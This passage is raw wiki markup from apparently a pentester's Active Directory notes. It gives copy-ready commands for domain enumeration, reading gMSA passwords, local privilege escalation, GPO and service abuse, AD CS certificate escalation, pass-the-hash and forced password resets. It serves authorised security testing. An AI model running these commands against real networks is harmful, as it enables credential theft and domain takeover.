[https://www.pingcastle.com/ https://www.pingcastle.com/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.&lt;br /&gt;
# Simple healthcheck&lt;br /&gt;
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Adalanche ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who&#039;s really Domain Admin? (Commerical versions available from NetSection) (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:&lt;br /&gt;
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42&lt;br /&gt;
# From domain joined Windows member using current user:&lt;br /&gt;
adalanche collect activedirectory&lt;br /&gt;
# From domain joined Windows machine using other credentials than logged in:&lt;br /&gt;
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BloodHound ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]&lt;br /&gt;
&lt;br /&gt;
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.&lt;br /&gt;
&lt;br /&gt;
* Run sharphound or bloodhound.py to collection data from target&lt;br /&gt;
&lt;br /&gt;
* Transfer and import the zip files to bloodhound&lt;br /&gt;
&lt;br /&gt;
* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INSTALL BLOODHOUND&lt;br /&gt;
# Install java&lt;br /&gt;
echo &amp;quot;deb http://httpredir.debian.org/debian stretch-backports main&amp;quot; | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
# Install neo4j&lt;br /&gt;
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -&lt;br /&gt;
echo &#039;deb https://debian.neo4j.com stable 4.0&#039; &amp;gt; /etc/apt/sources.list.d/neo4j.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
apt-get install apt-transport-https&lt;br /&gt;
sudo apt-get install neo4j&lt;br /&gt;
systemctl stop neo4j&lt;br /&gt;
# Start neo4j&lt;br /&gt;
cd /usr/bin&lt;br /&gt;
./neo4j console&lt;br /&gt;
https://localhost:7474/&lt;br /&gt;
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INGESTOR&lt;br /&gt;
# Windows&lt;br /&gt;
# For PC joined to domain&lt;br /&gt;
./SharpHound.exe --CollectionMethods All&lt;br /&gt;
Invoke-BloodHound -CollectionMethod All&lt;br /&gt;
# Domain enum from domain joind creds&lt;br /&gt;
SharpHound.exe --collectionmethods All -d contoso.local&lt;br /&gt;
# Execute SharpHound using different creds&lt;br /&gt;
runas /netonly /user:domain\user &amp;quot;powershell.exe -exec bypass&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Python&lt;br /&gt;
# Need valid creds&lt;br /&gt;
https://github.com/fox-it/BloodHound.py&lt;br /&gt;
python3 bloodhound.py -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns  -dc&lt;br /&gt;
# Through proxychains&lt;br /&gt;
proxychains bloodhound-python -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp&lt;br /&gt;
----------------------------------------------------------------------&lt;br /&gt;
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add Custom Queries to BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries&lt;br /&gt;
# After adding the custome queries, they will show up under Analysis --&amp;gt; Custom Queries.&lt;br /&gt;
# On Linux, you can simply install the queries using this curl command:&lt;br /&gt;
curl -o ~/.config/bloodhound/customqueries.json &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot;&lt;br /&gt;
# On Windows, you can simply install the queries using this PowerShell command:&lt;br /&gt;
Invoke-WebRequest -Uri &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot; -OutFile &amp;quot;$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Bloodhound Community Edition ==&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]&lt;br /&gt;
&lt;br /&gt;
For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.&lt;br /&gt;
&lt;br /&gt;
BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:&lt;br /&gt;
&lt;br /&gt;
* Postgres and Neo4J databases&lt;br /&gt;
&lt;br /&gt;
* A new REST API&lt;br /&gt;
&lt;br /&gt;
* A brand new front-end web application&lt;br /&gt;
&lt;br /&gt;
To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:&lt;br /&gt;
&lt;br /&gt;
Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].&lt;br /&gt;
&lt;br /&gt;
Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up&lt;br /&gt;
&lt;br /&gt;
Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267&lt;br /&gt;
# Prerequisites&lt;br /&gt;
# Running the example Docker Compose project requires the following:&lt;br /&gt;
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.&lt;br /&gt;
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.&lt;br /&gt;
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.&lt;br /&gt;
# # Process&lt;br /&gt;
# Optional: One-Line command for Steps 1-3&lt;br /&gt;
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up&lt;br /&gt;
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.&lt;br /&gt;
# Open a terminal interface, and from the directory you selected run docker-compose up&lt;br /&gt;
# To run BloodHound CE without the need to maintain the terminal interface, use:&lt;br /&gt;
docker-compose up -d&lt;br /&gt;
# and then&lt;br /&gt;
docker-compose logs&lt;br /&gt;
# to see the most recent logs from the environment.&lt;br /&gt;
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.&lt;br /&gt;
# Copy this password and open a web browser to http://localhost:8080.&lt;br /&gt;
# Log in with the default username admin and the password from the logs.&lt;br /&gt;
# The password cannot be regenerated. If you lost the password, simply&lt;br /&gt;
run docker compose down -v&lt;br /&gt;
# and then docker compose up to reset your databases.&lt;br /&gt;
# You will be required to change the password, thereafter you&#039;re logged into BloodHound CE!&lt;br /&gt;
# Default Credentials&lt;br /&gt;
Admin&lt;br /&gt;
Password: See logs and change it.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ingestors ===&lt;br /&gt;
&lt;br /&gt;
==== NetExec ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== rusthound-ce ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./rusthound-ce --domain domain.local -u &#039;test&#039; -p &#039;test&#039; -o . -z  --ldaps #specify ldaps if LDAPS is enforced&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AzureHound ==&lt;br /&gt;
&lt;br /&gt;
Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.&lt;br /&gt;
&lt;br /&gt;
See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.&lt;br /&gt;
&lt;br /&gt;
Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error &amp;quot;failed to create new Azure client: unable to authenticate. no valid credential provided&amp;quot; when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
azurehound.exe -j &amp;quot;eyYadssad...&amp;quot; list -o outputjson.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP with credentials ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword &amp;amp; unixUserPassword, or even for Description&lt;br /&gt;
# ENUMERATE&lt;br /&gt;
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/&lt;br /&gt;
ldapsearch -x -b  -H  -D  -W&lt;br /&gt;
ldapsearch -x -b &amp;quot;dc=devconnected,dc=com&amp;quot; -H ldap://192.168.178.29&lt;br /&gt;
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2&lt;br /&gt;
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Group Managed Service Accounts - gMSA ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If service account exists on target, enumerate gMSA.&lt;br /&gt;
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.&lt;br /&gt;
# Example&lt;br /&gt;
Import-Module ActiveDirectory&lt;br /&gt;
Get-ADPrincipalGroupMembership svc_apache$ | select name&lt;br /&gt;
# Check if your user is allowed to retrieve managed passwords&lt;br /&gt;
Get-ADServiceAccount -Identity &#039;svc_apache$&#039; -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword&lt;br /&gt;
# Repo for reading gMSA passwords&lt;br /&gt;
https://github.com/rvazarkar/GMSAPasswordReader&lt;br /&gt;
.\GMSAPasswordReader.exe --accountname svc_apache&lt;br /&gt;
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forest Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Understanding Trust:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;One-Way Trust&#039;&#039;&#039;: If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Two-Way (Bi-Directional) Trust&#039;&#039;&#039;: Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Transitivity&#039;&#039;&#039;: Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain and Enterprise Admins:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Admins&#039;&#039;&#039;: Members of this group have full control over their specific domain. However, their administrative privileges don&#039;t extend to other domains in the forest.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Enterprise Admins&#039;&#039;&#039;: This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerating Domain Trusts&lt;br /&gt;
# Using nltest.exe:&lt;br /&gt;
# The /trusted_domains flag can be used to list domains trusted by the current domain.&lt;br /&gt;
C:\tools&amp;gt; nltest /trusted_domains&lt;br /&gt;
# Using .NET:&lt;br /&gt;
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.&lt;br /&gt;
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()&lt;br /&gt;
# Using Win32 API:&lt;br /&gt;
#  The DsEnumerateDomainTrusts API can be used.&lt;br /&gt;
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.&lt;br /&gt;
Get-DomainTrust -API&lt;br /&gt;
# Using LDAP:&lt;br /&gt;
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).&lt;br /&gt;
Get-DomainTrust&lt;br /&gt;
# Enumerate Users, Groups, and Services in Trusted Domains&lt;br /&gt;
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:&lt;br /&gt;
# .NET DirectorySearcher Class:&lt;br /&gt;
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.&lt;br /&gt;
# PowerView&#039;s Get-DomainUser method can be used to enumerate users in a trusted domain.&lt;br /&gt;
Get-DomainUser -Domain corp1.com&lt;br /&gt;
# BloodHound Ingestor (The best one):&lt;br /&gt;
# This tool can work with domain trust and allows enumeration across the entire forest.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Snaffler - Enumerate shares for good data ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]&lt;br /&gt;
&lt;br /&gt;
Snaffler is a tool for &#039;&#039;&#039;pentesters&#039;&#039;&#039; and &#039;&#039;&#039;red teamers&#039;&#039;&#039; to help find delicious candy needles (creds mostly, but it&#039;s flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\SnafflerParser.ps1 -in snaffler.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ADExplorer.exe ==&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object&#039;s schema, and execute sophisticated searches that you can save and re-execute.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-06-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Can also use the snapshot from ADExplorer with BloodHound.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Local Privilege Escalation =&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.&lt;br /&gt;
&lt;br /&gt;
== Checklist and tools to check for PrivEsc ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Checklist for local windows privilege escalation&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation&lt;br /&gt;
# Notes&lt;br /&gt;
https://blog.aghanim.net/?p=1314&lt;br /&gt;
# Use WinPEASS&lt;br /&gt;
kali&amp;gt; peass&lt;br /&gt;
# Use WinPEASS using meterpreter&lt;br /&gt;
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit&lt;br /&gt;
modules/post/multi/gather/&lt;br /&gt;
# PowerView.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
Import-Module powerview.ps1&lt;br /&gt;
# PowerUp.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup&lt;br /&gt;
. .\powerup.ps1&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
# seatbelt&lt;br /&gt;
# https://github.com/GhostPack/Seatbelt&lt;br /&gt;
# Run all checks&lt;br /&gt;
Seatbelt.exe -group=all -full&lt;br /&gt;
# JAWS&lt;br /&gt;
# https://github.com/411Hall/JAWS&lt;br /&gt;
# Run from within CMD shell and write out to screen.&lt;br /&gt;
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1&lt;br /&gt;
# HostRecon.ps1&lt;br /&gt;
# https://github.com/dafthack/HostRecon&lt;br /&gt;
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC&#039;s, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.&lt;br /&gt;
Invoke-HostRecon -Portscan -TopPorts 128&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Abusing GPO Permission ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Vault writeup&lt;br /&gt;
# If you have write permission to a GPO, try using SharpGPOAbuse&lt;br /&gt;
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master&lt;br /&gt;
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64&lt;br /&gt;
# See github for more commands&lt;br /&gt;
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName &amp;quot;Vulnerable GPO&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerUp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup&lt;br /&gt;
https://powersploit.readthedocs.io/en/latest/&lt;br /&gt;
# Check for vulnerable programs and configs&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
----------------&lt;br /&gt;
# Default vulnerable service abuse&lt;br /&gt;
# Abuses service &#039;VulnSVC&#039; to add a localuser &amp;quot;john&amp;quot; with password &amp;quot;Password123! to the machine and local administrator group&lt;br /&gt;
Invoke-ServiceAbuse -Name VulnSVC&lt;br /&gt;
&lt;br /&gt;
# Exploit vulnerable service permissions (does not require touching disk)&lt;br /&gt;
Invoke-ServiceAbuse -Name &amp;quot;VulnerableSvc&amp;quot; -Command &amp;quot;net localgroup Administrators DOMAIN\user /add&amp;quot;&lt;br /&gt;
# Exploit an unquoted service path vulnerability to spawn a beacon&lt;br /&gt;
Write-ServiceBinary -Name &#039;VulnerableSvc&#039; -Command &#039;c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update&#039; -Path &#039;C:\Program Files\VulnerableSvc&#039;&lt;br /&gt;
# Restart the service to exploit (not always required)&lt;br /&gt;
net.exe stop VulnerableSvc&lt;br /&gt;
net.exe start VulnerableSvc&lt;br /&gt;
-------------&lt;br /&gt;
# PortScan&lt;br /&gt;
Invoke-Portscan -Hosts &amp;quot;webstersprodigy.net,google.com,microsoft.com&amp;quot; -TopPorts 50&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Lateral movement with privileged creds/session =&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]&lt;br /&gt;
&lt;br /&gt;
== AD CS Domain Escalation ==&lt;br /&gt;
&lt;br /&gt;
Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.&lt;br /&gt;
&lt;br /&gt;
The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.&lt;br /&gt;
&lt;br /&gt;
If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]&lt;br /&gt;
&lt;br /&gt;
Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]&lt;br /&gt;
&lt;br /&gt;
Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]&lt;br /&gt;
&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft&lt;br /&gt;
&lt;br /&gt;
------------&lt;br /&gt;
# List all vulnerable template&lt;br /&gt;
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120&lt;br /&gt;
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.&lt;br /&gt;
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca &amp;quot;domain-issuing-CA&amp;quot; -upn &amp;quot;domainadmin01&amp;quot;&lt;br /&gt;
# Retriev NTLM hash for domain admin&lt;br /&gt;
certipy auth -pfx domainadmin01.pfx -domain domain.com&lt;br /&gt;
# Now, pass the hash using desired tool.&lt;br /&gt;
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash&lt;br /&gt;
----------------&lt;br /&gt;
See the below writeup for HTB Manager.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]&lt;br /&gt;
&lt;br /&gt;
== Change Password of user ==&lt;br /&gt;
&lt;br /&gt;
If you have a user that have &amp;quot;ForcePasswordChange&amp;quot; rights on another user you can change the password  of that user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;DOMAIN\user1&amp;quot;, (ConvertTo-SecureString &amp;quot;HelloPass123!&amp;quot; -AsPlainText -Force))&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose&lt;br /&gt;
# Remote&lt;br /&gt;
net rpc password &amp;quot;TargetUser&amp;quot; &amp;quot;newP@ssword2022&amp;quot; -U &amp;quot;DOMAIN&amp;quot;/&amp;quot;ControlledUser&amp;quot;%&amp;quot;Password&amp;quot; -S &amp;quot;DomainController&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
